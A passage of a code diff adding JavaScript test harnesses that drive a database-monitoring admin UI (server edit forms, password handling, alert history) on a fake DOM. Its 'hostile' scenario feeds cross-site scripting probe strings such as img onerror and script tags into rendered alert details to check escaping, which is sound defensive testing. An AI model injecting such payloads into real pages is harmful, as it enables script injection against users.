+        host: field("host") ? field("host").value : null,
+        value: pw.value,
+        connected: pw.isConnected,
+        forms: byAttr(main, "data-edit-form").length,
+        formBoxChildren: box("form").children.length,
+        secretNodes: secretNodes(),
+      };
+    },
+    /* A by-id read still in flight when the hash leaves the Servers tab: the form it would have filled never opens. */
+    hashOpen: async (h) => {
+      seed();
+      await mountPage("servers");
+      let release;
+      state.byIdGate = new Promise((r) => { release = r; });
+      const click = clickEdit(1);
+      await settle();
+      await leaveHash(h);
+      release();
+      await click;
+      await settle();
+      return { forms: byAttr(main, "data-edit-form").length, formBoxChildren: box("form").children.length };
+    },
+    /* T4: a stale edit on Charlie's form. The user changes the host and the display name and types the password; the first save is
+       answered 409 conflict with what another edit left (a new host, its own display name, a database, a newer modified_at), or, for
+       "none", with nothing of this form changed (another setting did). `how` is what the user does next: "reapply" and "reload" press
+       that button; "reloadnone" presses Reload and then Save at once; "again" presses Save without choosing; "none" presses Reapply on
+       the answer with nothing changed. Requests are counted around the press; the next Save is the user's own. */
+    conflict: async (how) => {
+      seed();
+      const none = how === "none";
+      const other = none ? { ...reads.charlie, modified_at: TOKEN2 } : { ...reads.charlie, host: "charlie-new", display_name: "Charlie Elsewhere", database: "Orders", modified_at: TOKEN2 };
+      await mountPage("servers");
+      await clickEdit(3);
+      if (!none) await edit("host", "charlie-two");
+      await edit("display_name", "Charlie Two");
+      const pw = field("password");
+      await typeInto(pw, SECRET);
+      let n = 0;
+      state.responder = () => (++n === 1 || (how === "again" && n === 2) ? conflictAnswer(other) : updated("Charlie Two"));
+      const take = () => ({ view: view(), form: formSnapshot(), requests: requests.length, secretNodes: secretNodes(), otherNodes: leaks("OTHER-PW") });
+      const save = async (name) => {
+        await clickText(main, "Save");
+        await settle(30);
+        result[name] = take();
+      };
+      const result = {};
+      await save("stale");
+      result.stale.pw = { value: pw.value, connected: pw.isConnected };
+      const before = requests.length;
+      if (how === "reapply" || none) await clickText(main, "Reapply my changes");
+      if (how === "reload" || how === "reloadnone") await clickText(main, "Reload current values");
+      result.pressed = { ...take(), sent: requests.length - before, oldPw: { value: pw.value, connected: pw.isConnected } };
+      if (how === "reapply") {
+        await save("refused");
+        await typeInto(field("password"), "OTHER-PW");
+        await save("saved");
+      } else if (how === "reload") {
+        await edit("monthly_cost_usd", "5");
+        await save("saved");
+      } else if (how === "again") {
+        await typeInto(field("password"), "OTHER-PW");
+        await save("saved");
+      } else await save("saved");
+      return result;
+    },
+    /* T6 and the password's whole life: "SECRET-PW" typed into Charlie's form, then it leaves by `path`: "cancel"; "saved" (the service
+       updates it); "badrequest", "echo" (a 400 whose message repeats the password) and "limited" (429); "conflict" (a 409 whose
+       current values carry the password as a display name, so the panel line must show [redacted]); "reapply" and "reload" after
+       a plain 409 ("reapplytyped" and "reloadtyped": the password typed again after the 409, before the button); "hash" (the window goes to another page); "listexpired" (the next list read answers 401, so the shell takes
+       the page over). The password box typed into is kept, so it is read after it was detached. */
+    secret: async (path) => {
+      seed();
+      await mountPage("servers");
+      await clickEdit(3);
+      const pw = field("password");
+      await typeInto(pw, SECRET);
+      const typed = pw.value;
+      const stale = { ...reads.charlie, host: "charlie-new", modified_at: TOKEN2 };
+      const answers = {
+        saved: () => updated("Charlie"),
+        badrequest: () => ({ status: 400, body: { error: "The host 'charlie two' is not valid." } }),
+        echo: () => ({ status: 400, body: { error: "The host 'charlie two' is not valid: SECRET-PW is not allowed here." } }),
+        limited: () => ({ status: 429, body: { error: "Another server change is in progress. Try again in a moment." } }),
+        conflict: () => conflictAnswer({ ...stale, display_name: SECRET }),
+        reapply: () => conflictAnswer(stale),
+        reload: () => conflictAnswer(stale),
+        reapplytyped: () => conflictAnswer(stale),
+        reloadtyped: () => conflictAnswer(stale),
+      };
+      if (path in answers) {
+        await edit("host", "charlie-two");
+        state.responder = answers[path];
+        await clickText(main, "Save");
+        await settle(30);
+        /* #5356: the 409 left the form open with its password box emptied; the user types the password AGAIN before choosing, and
+           the box that holds it is then replaced by the redraw, so it must be emptied first (the "...typed" paths). */
+        if (path.endsWith("typed")) await typeInto(pw, SECRET);
+        if (path.startsWith("reapply")) await clickText(main, "Reapply my changes");
+        if (path.startsWith("reload")) await clickText(main, "Reload current values");
+      } else if (path === "cancel") await clickText(main, "Cancel");
+      else if (path === "hash") await leaveHash("#/fleet");
+      else if (path === "listexpired") {
+        state.listReply = () => ({ status: 401, body: { error: "Session expired" } });
+        page.renderAdmin(main, "servers");
+        await settle(30);
+      } else throw new Error("unknown secret path " + path);
+      const next = field("password");
+      return {
+        typed,
+        value: pw.value,
+        connected: pw.isConnected,
+        nextValue: next ? next.value : null,
+        forms: byAttr(main, "data-edit-form").length,
+        secretNodes: secretNodes(),
+        view: view(),
+      };
+    },
+    /* T2, T3 and T13, the flow halves: one edit driven through the real form for the by-id read given on stdin
+       ({"read": {...}, "edits": {"host": "sql-b"}, "password": "typed"}). The edits are made in the order given, the authentication
+       first (the username box belongs to a mode); the password is typed into its box even when the page hides it. The service answers
+       "updated". Prints the form as it opened, the label of the password row once the edits were made, and the page after Save. */
+    flow: async () => {
+      const request = JSON.parse(await readStdin());
+      const read = request.read;
+      state.servers = [server(read.server_id, read.display_name, { engine: read.engine })];
+      state.byId = { [read.server_id]: read };
+      state.responder = () => updated(read.display_name);
+      await mountPage("servers");
+      await clickEdit(read.server_id);
+      const opened = formSnapshot();
+      const entries = Object.entries(request.edits || {});
+      for (const [key, value] of entries.filter(([k]) => k === "auth")) await chooseAuth(value);
+      for (const [key, value] of entries.filter(([k]) => k !== "auth")) await edit(key, value);
+      if (request.password) await typeInto(field("password"), request.password);
+      const label = rowInfo("password").label;
+      await clickText(main, "Save");
+      await settle(30);
+      return { opened, label, after: view(), patches: patches() };
+    },
+    /* Finding 11: the attributes of the username and password boxes of a SQL Server form and of a PostgreSQL form, and whether either
+       sits inside a form element (or the page has one at all). */
+    inputs: async () => {
+      seed();
+      await mountPage("servers");
+      const out = {};
+      for (const [name, id] of [["sql", 3], ["postgres", 2]]) {
+        await clickEdit(id);
+        const describe = (key) => {
+          const node = field(key);
+          let inForm = false;
+          for (let a = node.parent; a; a = a.parent) if (a.tag === "form") inForm = true;
+          return { type: node.attrs.type, attrs: { ...node.attrs }, inForm };
+        };
+        out[name] = { username: describe("username"), password: describe("password"), formElements: byTag(main, "form").length };
+      }
+      return out;
+    },
+    /* The ported tests of the old vm harness: one tab drawn through the real modules, a read-only seat, every piece of text it drew. */
+    tab: async (name) => {
+      serveTab();
+      await mountPage(name);
+      const table = byTag(main, "table")[0];
+      const trs = table ? table.children[1].children : [];
+      return {
+        texts: textsUnder(main),
+        reads: requests.filter((r) => r.url !== "/api/session").map((r) => r.method + " " + r.url),
+        rowClasses: trs.map((tr) => tr.className),
+        cells: trs.map((tr) => tr.children.map(text)),
+        addedFormatted: util.localTime("2026-01-02T00:00:00.0000000"),
+        utcOffsetMinutes: new Date(2026, 0, 1).getTimezoneOffset(),
+      };
+    },
+    /* The 60 s poll: the tab on screen is rendered again and the page is looked at BEFORE the read lands. */
+    repaint: async (name) => {
+      serveTab();
+      await mountPage(name);
+      const before = main.children[2];
+      const row = name === "servers" ? "Alpha" : "CPU: threshold (%)";
+      let release;
+      if (name === "servers") state.listGate = new Promise((r) => { release = r; });
+      else state.gate = new Promise((r) => { release = r; });
+      page.renderAdmin(main, name);
+      await settle();
+      const during = textsUnder(main.children[2]);
+      const result = {
+        sameBody: main.children[2] === before,
+        loadingShown: during.some((t) => t.startsWith("Loading")),
+        rowsKept: during.length > 1,
+        rowShown: during.includes(row),
+      };
+      release();
+      await settle(30);
+      result.rowAfter = textsUnder(main).includes(row);
+      return result;
+    },
+    /* The frame's proof: a read-only seat sees the Servers tab drawn by the real grid. */
+    frame: async () => {
+      state.canEdit = false;
+      state.servers = [alpha, bravo];
+      await mountPage("servers");
+      const table = byTag(main, "table")[0];
+      const headRow = table.children[0].children[0];
+      const rows = table.children[1].children;
+      const notice = all(main, (n) => n.className.split(/\s+/).includes("notice")).map(text);
+      return {
+        headers: headRow.children.map((th) => (th.children[0] || th).textContent),
+        cells: rows.map((tr) => tr.children.map(text)),
+        rowClasses: rows.map((tr) => tr.className),
+        notice,
+        editHeaders: headRow.children.filter((th) => (th.children[0] || th).textContent === "Edit").length,
+        editButtons: buttons(main, "Edit").length,
+        requests: requests.map((r) => r.method + " " + r.url),
+        removedTotal: removed.length,
+        activeElement: activeElement === null,
+        utcOffsetMinutes: new Date(2026, 0, 1).getTimezoneOffset(),
+      };
+    },
+    /* The focus model itself, through the real mount(): a focused box survives a repaint that leaves its node attached and
+       loses focus when an ancestor is cleared, even if the very same node is put back. */
+    focusModel: async () => {
+      const form = new FakeNode("form");
+      const box = form.appendChild(new FakeNode("input"));
+      const area = new FakeNode("div");
+      const stage = body.appendChild(new FakeNode("div"));
+      util.mount(stage, [form, area]);
+      box.focus();
+      const afterFocus = activeElement === box;
+      util.mount(area, [new FakeNode("span", "list")]);
+      const keptWhenSiblingRepaints = activeElement === box;
+      const removedBefore = removed.length;
+      util.mount(stage, [form, area]);
+      const lostWhenAncestorCleared = activeElement === null;
+      const sameNodeBack = form.isConnected && box.isConnected;
+      const ancestorRecorded = removed.slice(removedBefore).includes(form);
+      box.focus();
+      stage.textContent = "";
+      const lostOnTextReset = activeElement === null;
+      const detached = new FakeNode("input");
+      detached.focus();
+      const detachedCannotFocus = activeElement === null;
+      const off = body.appendChild(new FakeNode("input"));
+      off.disabled = true;
+      off.focus();
+      const disabledCannotFocus = activeElement === null;
+      return { afterFocus, keptWhenSiblingRepaints, lostWhenAncestorCleared, sameNodeBack, ancestorRecorded, lostOnTextReset, detachedCannotFocus, disabledCannotFocus };
+    },
+    /* One call of an admin.js export, {"fn": "buildEditBody", "args": [...]} on stdin, printed as {"result": ...}; or
+       {"calls": [{"fn": ..., "args": [...]}, ...]} for a table of calls in one process, printed as {"results": [...]}.
+       An export that is not a function (EDIT_FIELDS) is returned as it is. */
+    pure: async () => {
+      const request = JSON.parse(await readStdin());
+      const call = ({ fn, args = [] }) => {
+        if (!(fn in page)) throw new Error("admin.js exports no " + fn);
+        return typeof page[fn] === "function" ? page[fn](...args) : page[fn];
+      };
+      return Array.isArray(request.calls) ? { results: request.calls.map(call) } : { result: call(request) };
+    },
+  };
+  if (!(scenario in scenarios)) throw new Error("unknown scenario " + scenario);
+  output = await scenarios[scenario](scenarioParam);
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
+const nonFinite = (k, v) => (typeof v === "number" && !Number.isFinite(v) ? { $number: String(v) } : v);
+process.stdout.write(JSON.stringify(output, nonFinite) + "\n", () => process.exit(0));
diff --git a/Darling/Darling.Tests/alert-history-advice-harness.mjs b/Darling/Darling.Tests/alert-history-advice-harness.mjs
new file mode 100644
index 0000000000..f9e8d7a321
--- /dev/null
+++ b/Darling/Darling.Tests/alert-history-advice-harness.mjs
@@ -0,0 +1,215 @@
+/* The advice and fix script in an expanded alert on the shipped Alert History page (#5241); same fake DOM as alert-history-range-harness.mjs.
+   Runs the shipped Alert History page (wwwroot/js/pages/alerts.js) with the real shared renderer (panels.js, util.js,
+   mute-context.js) on a small fake DOM and a recording fetch, and prints as one line of JSON what the page asked for
+   and drew. AlertHistoryAdviceTests starts it as
+       node alert-history-advice-harness.mjs <path to wwwroot/js> <scenario>
+   Only the DOM, fetch and charts.js are stand-ins. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) {
+    this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = "";
+    this.className = ""; this.dataset = {}; this.value = ""; this.checked = false; this.open = false; this.isRoot = false;
+  }
+  get parentNode() { return this.parent; }
+  get firstChild() { return this.children[0] || null; }
+  get nextSibling() { const i = this.parent ? this.parent.children.indexOf(this) : -1; return i >= 0 ? this.parent.children[i + 1] || null : null; }
+  get isConnected() { let n = this; while (n.parent) n = n.parent; return n.isRoot; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children.forEach((c) => (c.parent = null)); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return k in this.attrs ? this.attrs[k] : null; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  insertBefore(c, ref) {
+    if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c);
+    c.parent = this;
+    const i = ref ? this.children.indexOf(ref) : -1;
+    if (i < 0) this.children.push(c); else this.children.splice(i, 0, c);
+    return c;
+  }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  remove() { if (this.parent) this.parent.removeChild(this); }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+  querySelector(sel) { const [a, b] = sel.split(" "); const first = this.all(a)[0] || null; return b && first ? first.all(b)[0] || null : first; }
+  querySelectorAll(tag) { return this.all(tag); }
+  all(tag, acc = []) { for (const c of this.children) { if (c.tag === tag) acc.push(c); c.all(tag, acc); } return acc; }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+globalThis.document = { createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+globalThis.location = { hash: "#/alerts" };
+
+const jsDir = process.argv[2];
+const scenario = process.argv[3];
+
+const urls = [];
+let alertsReply = { alerts: [], truncated: false };
+const servers = { servers: [{ server_name: "srv-a", display_name: "Server A" }, { server_name: "srv-b" }] };
+const posts = [];
+let canEdit = true;
+let postReply = (req) => ({ status: 200, body: { requested: req.alerts.length, dismissed: req.alerts.length, already_dismissed: 0, unknown: 0 } });
+const confirms = [];
+globalThis.confirm = (m) => { confirms.push(m); return true; };
+let readFails = false;
+let postGate = null;
+let detailsReply = () => ({ status: 200, body: { details: [] } });
+globalThis.fetch = async (url, init) => {
+  const u = String(url);
+  if (init && init.method === "POST") {
+    if (postGate) await postGate;
+    const req = JSON.parse(init.body);
+    posts.push({ url: u, contentType: init.headers["Content-Type"], req });
+    const r = postReply(req);
+    return { status: r.status, ok: r.status < 300, text: async () => JSON.stringify(r.body) };
+  }
+  urls.push(u);
+  if (u.includes("/get_alert_details")) {
+    const r = detailsReply(Object.fromEntries(new URL(u, "http://x").searchParams));
+    return { status: r.status, ok: r.status < 300, text: async () => JSON.stringify(r.body) };
+  }
+  if (readFails && u.includes("/get_alert_history")) return { status: 500, ok: false, text: async () => JSON.stringify({ error: "read failed" }) };
+  let body = {};
+  if (u.startsWith("/api/session")) body = { can_edit: canEdit };
+  else if (u.includes("/list_servers")) body = servers;
+  else if (u.includes("/get_alert_history")) body = typeof alertsReply === "function" ? alertsReply(u) : alertsReply;
+  return { status: 200, ok: true, text: async () => JSON.stringify(body) };
+};
+const detailReadsOf = () => urls.filter((u) => u.includes("/get_alert_details")).map((u) => Object.fromEntries(new URL(u, "http://x").searchParams));
+const readsOf = () => urls.filter((u) => u.includes("/get_alert_history")).map((u) => Object.fromEntries(new URL(u, "http://x").searchParams));
+
+// The page trims a reply to the range start (review r1 H2), so the clock sits just after the fixed alert times.
+const T0 = Date.UTC(2026, 0, 1, 12, 0, 0) + 60000;
+Date.now = () => T0 + 30000;
+const row = (i, over = {}) => ({
+  alert_time: new Date(T0 - 60000 - i * 60000).toISOString(),
+  server_id: 1, server_name: "srv-a", stored_server_name: "srv-a", metric_name: "High CPU " + i,
+  current_value: 90, threshold_value: 80, severity: "warning", severity_source: "fired", dismissed: false, ...over,
+});
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "alert-range-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\nexport function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return null; }\n'
+  );
+  const { renderAlerts } = await import(pathToFileURL(path.join(scratch, "pages", "alerts.js")).href);
+
+  const newMain = () => { const m = new FakeNode("main"); m.isRoot = true; return m; };
+  const selects = (main) => main.all("select");
+  const byLabel = (main, label) => selects(main).find((s) => s.attrs["aria-label"] === label);
+  const checkbox = (main) => main.all("input").find((i) => i.attrs.type === "checkbox");
+  const pick = async (sel, value) => { sel.value = String(value); sel.fire("change"); await new Promise((r) => setTimeout(r, 20)); };
+  const bodyRows = (main) => { const t = main.all("table")[0]; return t ? t.children[1].children : []; };
+  const metrics = (main) => bodyRows(main).map((tr) => tr.children[2].textContent);
+  const settle = () => new Promise((r) => setTimeout(r, 20));
+  const out = {};
+
+  const tick = () => new Promise((r) => setTimeout(r, 30));
+  const walk = (n, acc = []) => { acc.push(n); n.children.forEach((c) => walk(c, acc)); return acc; };
+  const open = async (main) => {
+    const d = main.all("details")[0];
+    d.open = true; d.fire("toggle"); await tick();
+    return d;
+  };
+  const copied = [];
+  Object.defineProperty(globalThis, "navigator", { value: { clipboard: { writeText: async (t) => { copied.push(t); } } }, configurable: true });
+  const advice = {
+    heading: "Advice", fields: [], is_code_block: false,
+    body: "Investigation: the plan regressed\n\nRemediation: force the better plan",
+  };
+  const script = { heading: "Remediation T-SQL", fields: [], is_code_block: true, body: "EXEC sys.sp_query_store_force_plan 1, 2;" };
+  const diagnosis = { heading: "Diagnosis", fields: [{ label: "Story", value: "PLAN_REGRESSION" }], body: null, is_code_block: false };
+  const analysisMetric = "Analysis: plan_regression [524101aa]";
+  const analysisRow = (over = {}) => row(1, { metric_name: analysisMetric, detail_text: "Diagnosis\n  Story: PLAN_REGRESSION\n  Severity: 1.20", ...over });
+  const shape = (d) => {
+    const all = walk(d);
+    return {
+      paragraphs: all.filter((n) => n.tag === "p").map((n) => n.textContent),
+      pres: all.filter((n) => n.tag === "pre").map((n) => n.textContent),
+      buttons: all.filter((n) => n.tag === "button").map((n) => n.textContent),
+      fields: all.filter((n) => n.className === "detail-field").map((n) => n.textContent),
+      headings: all.filter((n) => n.className === "detail-heading").map((n) => n.textContent),
+    };
+  };
+  const scenarios = {
+    async withDetails() {
+      alertsReply = { alerts: [analysisRow()], truncated: false };
+      detailsReply = () => ({ status: 200, body: { details: [diagnosis, advice, script] } });
+      const main = newMain(); await renderAlerts(main);
+      out.requested = readsOf()[0];
+      out.callsBeforeOpen = detailReadsOf().length;
+      const d = main.all("details")[0];
+      d.open = true; d.fire("toggle");
+      out.loadingWhileFetching = walk(d).some((n) => n.className && String(n.className).includes("loading"));
+      await tick();
+      Object.assign(out, shape(d));
+      out.detailRequest = detailReadsOf()[0];
+      const copyBtn = walk(d).find((n) => n.tag === "button");
+      if (copyBtn) { copyBtn.fire("click"); await tick(); }
+      out.copied = copied.slice();
+      out.buttonAfter = copyBtn ? copyBtn.textContent : null;
+      /* Closing and re-opening the same row, then a fresh render of the same page (the poll rebuild), ask nothing more. */
+      d.open = false; d.fire("toggle"); d.open = true; d.fire("toggle"); await tick();
+      const again = newMain(); await renderAlerts(again);
+      const d2 = await open(again);
+      out.callsAfterReopenAndRerender = detailReadsOf().length;
+      out.rerenderPres = shape(d2).pres;
+    },
+    async withoutDetails() {
+      alertsReply = { alerts: [analysisRow({ metric_name: "Analysis: other [bbbb]", server_id: 2 })], truncated: false };
+      detailsReply = () => ({ status: 200, body: { details: [] } });
+      const main = newMain(); await renderAlerts(main);
+      const d = await open(main);
+      const s = shape(d);
+      out.calls = detailReadsOf().length;
+      out.paragraphs = s.paragraphs.length; out.pres = s.pres.length; out.buttons = s.buttons.length;
+      out.fields = s.fields; out.headings = s.headings;
+    },
+    async engineAlert() {
+      alertsReply = { alerts: [row(1, { detail_text: "Diagnosis\n  Story: x\n  Severity: 1.20" })], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      const d = await open(main);
+      const s = shape(d);
+      out.calls = detailReadsOf().length;
+      out.pres = s.pres.length; out.fields = s.fields; out.headings = s.headings;
+    },
+    async failedFetch() {
+      alertsReply = { alerts: [analysisRow({ server_id: 3 })], truncated: false };
+      detailsReply = () => ({ status: 500, body: { error: "read failed" } });
+      const main = newMain(); await renderAlerts(main);
+      const d = await open(main);
+      const s = shape(d);
+      out.calls = detailReadsOf().length;
+      out.pres = s.pres.length; out.buttons = s.buttons.length; out.fields = s.fields; out.headings = s.headings;
+    },
+    async hostile() {
+      const evil = "<img src=x onerror=alert(1)>";
+      alertsReply = { alerts: [analysisRow({ server_id: 4, detail_text: "x" })], truncated: false };
+      detailsReply = () => ({ status: 200, body: { details: [
+        { heading: evil, fields: [{ label: "<b>label</b>", value: "<script>alert(2)</script>" }], is_code_block: false, body: "<svg onload=alert(3)> prose" },
+        { heading: "Fix", fields: [], is_code_block: true, body: "<script>alert(1)</script>" },
+      ] } });
+      const main = newMain(); await renderAlerts(main);
+      const d = await open(main);
+      const all = walk(d);
+      out.pre = all.filter((n) => n.tag === "pre").map((n) => n.textContent);
+      out.headings = all.filter((n) => n.className === "detail-heading").map((n) => n.textContent);
+      out.fields = all.filter((n) => n.className === "detail-field").map((n) => n.textContent);
+      out.paragraphs = all.filter((n) => n.tag === "p").map((n) => n.textContent);
+      out.imgs = all.filter((n) => ["img", "script", "svg", "b"].includes(n.tag)).length;
+    },
+  };
+  await scenarios[scenario]();
+  console.log(JSON.stringify(out));
+} finally {
+  fs.rmSync(scratch, { recursive: true, force: true });
+}
diff --git a/Darling/Darling.Tests/alert-history-dismiss-harness.mjs b/Darling/Darling.Tests/alert-history-dismiss-harness.mjs
new file mode 100644
index 0000000000..e1c3b110bb
--- /dev/null
+++ b/Darling/Darling.Tests/alert-history-dismiss-harness.mjs
@@ -0,0 +1,266 @@
+/* Dismiss Selected / Dismiss All on the shipped Alert History page; same fake DOM as alert-history-range-harness.mjs.
+   Runs the shipped Alert History page (wwwroot/js/pages/alerts.js) with the real shared renderer (panels.js, util.js,
+   mute-context.js) on a small fake DOM and a recording fetch, and prints as one line of JSON what the page asked for
+   and drew. AlertHistoryDismissBehaviourTests starts it as
+       node alert-history-dismiss-harness.mjs <path to wwwroot/js> <scenario>
+   Only the DOM, fetch and charts.js are stand-ins. */
+import fs from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) {
+    this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = "";
+    this.className = ""; this.dataset = {}; this.value = ""; this.checked = false; this.open = false; this.isRoot = false;
+  }
+  get parentNode() { return this.parent; }
+  get firstChild() { return this.children[0] || null; }
+  get nextSibling() { const i = this.parent ? this.parent.children.indexOf(this) : -1; return i >= 0 ? this.parent.children[i + 1] || null : null; }
+  get isConnected() { let n = this; while (n.parent) n = n.parent; return n.isRoot; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children.forEach((c) => (c.parent = null)); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return k in this.attrs ? this.attrs[k] : null; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  insertBefore(c, ref) {
+    if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c);
+    c.parent = this;
+    const i = ref ? this.children.indexOf(ref) : -1;
+    if (i < 0) this.children.push(c); else this.children.splice(i, 0, c);
+    return c;
+  }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  remove() { if (this.parent) this.parent.removeChild(this); }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+  querySelector(sel) { const [a, b] = sel.split(" "); const first = this.all(a)[0] || null; return b && first ? first.all(b)[0] || null : first; }
+  querySelectorAll(tag) { return this.all(tag); }
+  all(tag, acc = []) { for (const c of this.children) { if (c.tag === tag) acc.push(c); c.all(tag, acc); } return acc; }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+globalThis.document = { createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+globalThis.location = { hash: "#/alerts" };
+
+const jsDir = process.argv[2];
+const scenario = process.argv[3];
+
+const urls = [];
+let alertsReply = { alerts: [], truncated: false };
+const servers = { servers: [{ server_name: "srv-a", display_name: "Server A" }, { server_name: "srv-b" }] };
+const posts = [];
+let canEdit = true;
+let postReply = (req) => ({ status: 200, body: { requested: req.alerts.length, dismissed: req.alerts.length, already_dismissed: 0, unknown: 0 } });
+const confirms = [];
+globalThis.confirm = (m) => { confirms.push(m); return true; };
+let readFails = false;
+let postGate = null;
+globalThis.fetch = async (url, init) => {
+  const u = String(url);
+  if (init && init.method === "POST") {
+    if (postGate) await postGate;
+    const req = JSON.parse(init.body);
+    posts.push({ url: u, contentType: init.headers["Content-Type"], req });
+    const r = postReply(req);
+    return { status: r.status, ok: r.status < 300, text: async () => JSON.stringify(r.body) };
+  }
+  urls.push(u);
+  if (readFails && u.includes("/get_alert_history")) return { status: 500, ok: false, text: async () => JSON.stringify({ error: "read failed" }) };
+  let body = {};
+  if (u.startsWith("/api/session")) body = { can_edit: canEdit };
+  else if (u.includes("/list_servers")) body = servers;
+  else if (u.includes("/get_alert_history")) body = typeof alertsReply === "function" ? alertsReply(u) : alertsReply;
+  return { status: 200, ok: true, text: async () => JSON.stringify(body) };
+};
+const readsOf = () => urls.filter((u) => u.includes("/get_alert_history")).map((u) => Object.fromEntries(new URL(u, "http://x").searchParams));
+
+// The page trims a reply to the range start (review r1 H2), so the clock sits just after the fixed alert times.
+const T0 = Date.UTC(2026, 0, 1, 12, 0, 0) + 60000;
+Date.now = () => T0 + 30000;
+const row = (i, over = {}) => ({
+  alert_time: new Date(T0 - 60000 - i * 60000).toISOString(),
+  server_id: 1, server_name: "srv-a", stored_server_name: "srv-a", metric_name: "High CPU " + i,
+  current_value: 90, threshold_value: 80, severity: "warning", severity_source: "fired", dismissed: false, ...over,
+});
+
+const scratch = fs.mkdtempSync(path.join(os.tmpdir(), "alert-range-"));
+try {
+  /* Copy the whole js tree (js/, js/pages/ and every subdirectory) rather than a hand-kept list (#5279): a page module that
+     another PR adds then needs no edit here. Only imported files load, so the rest are inert; every stand-in below is
+     written AFTER the copy, so it still replaces the real file. */
+  fs.cpSync(jsDir, scratch, { recursive: true });
+  fs.writeFileSync(path.join(scratch, "package.json"), '{ "type": "module" }');
+  fs.writeFileSync(
+    path.join(scratch, "charts.js"),
+    'import { el } from "./util.js";\nexport const SERIES_COLORS = [];\nexport function normalizeColor(c) { return c; }\nexport function renderLineChart() { return el("div", {}); }\nexport function zoomableLineChart() { return el("div", {}); }\nexport function chartZoomScope() { return null; }\n'
+  );
+  const { renderAlerts } = await import(pathToFileURL(path.join(scratch, "pages", "alerts.js")).href);
+
+  const newMain = () => { const m = new FakeNode("main"); m.isRoot = true; return m; };
+  const selects = (main) => main.all("select");
+  const byLabel = (main, label) => selects(main).find((s) => s.attrs["aria-label"] === label);
+  const checkbox = (main) => main.all("input").find((i) => i.attrs.type === "checkbox");
+  const pick = async (sel, value) => { sel.value = String(value); sel.fire("change"); await new Promise((r) => setTimeout(r, 20)); };
+  const bodyRows = (main) => { const t = main.all("table")[0]; return t ? t.children[1].children : []; };
+  const metrics = (main) => bodyRows(main).map((tr) => tr.children[2].textContent);
+  const settle = () => new Promise((r) => setTimeout(r, 20));
+  const out = {};
+
+  const boxes = (main) => bodyRows(main).map((tr) => tr.all("input")[0]);
+  const button = (main, text) => main.all("button").find((b) => b.textContent.startsWith(text));
+  const check = (cb) => { cb.checked = true; cb.fire("change"); };
+  const statusOf = (main) => main.all("span").find((s) => s.className.includes("dismiss-status"));
+  const tick = () => new Promise((r) => setTimeout(r, 30));
+  const scenarios = {
+    async readOnly() {
+      canEdit = false;
+      alertsReply = { alerts: [row(1), row(2)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      out.checkboxes = bodyRows(main).filter((tr) => tr.all("input").length).length;
+      out.hasSelected = !!button(main, "Dismiss Selected");
+      out.hasAll = !!button(main, "Dismiss All");
+    },
+    async selected() {
+      alertsReply = { alerts: [row(1), row(2), row(3)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      out.boxes = boxes(main).length;
+      out.selectedDisabledBefore = button(main, "Dismiss Selected").disabled;
+      check(boxes(main)[0]); check(boxes(main)[2]);
+      // the reply after the dismiss no longer lists the two rows
+      alertsReply = { alerts: [row(2)], truncated: false };
+      button(main, "Dismiss Selected").fire("click"); await tick();
+      out.posts = posts;
+      out.status = statusOf(main).textContent;
+      out.rowsAfter = bodyRows(main).length;
+      out.reads = readsOf().length;
+    },
+    async showDismissed() {
+      alertsReply = { alerts: [row(1), row(2)], truncated: false };
+      const main = newMain(); await renderAlerts(main);
+      const cb = main.all("input").find((i) => i.attrs["aria-label"] === "Show dismissed alerts");
+      cb.checked = true; cb.fire("change"); await tick();
+      check(boxes(main)[0]);
+      alertsReply = { alerts: [row(1, { dismissed: true }), row(2)], truncated: false };
+      button(main, "Dismiss Selected").fire("click"); await tick();
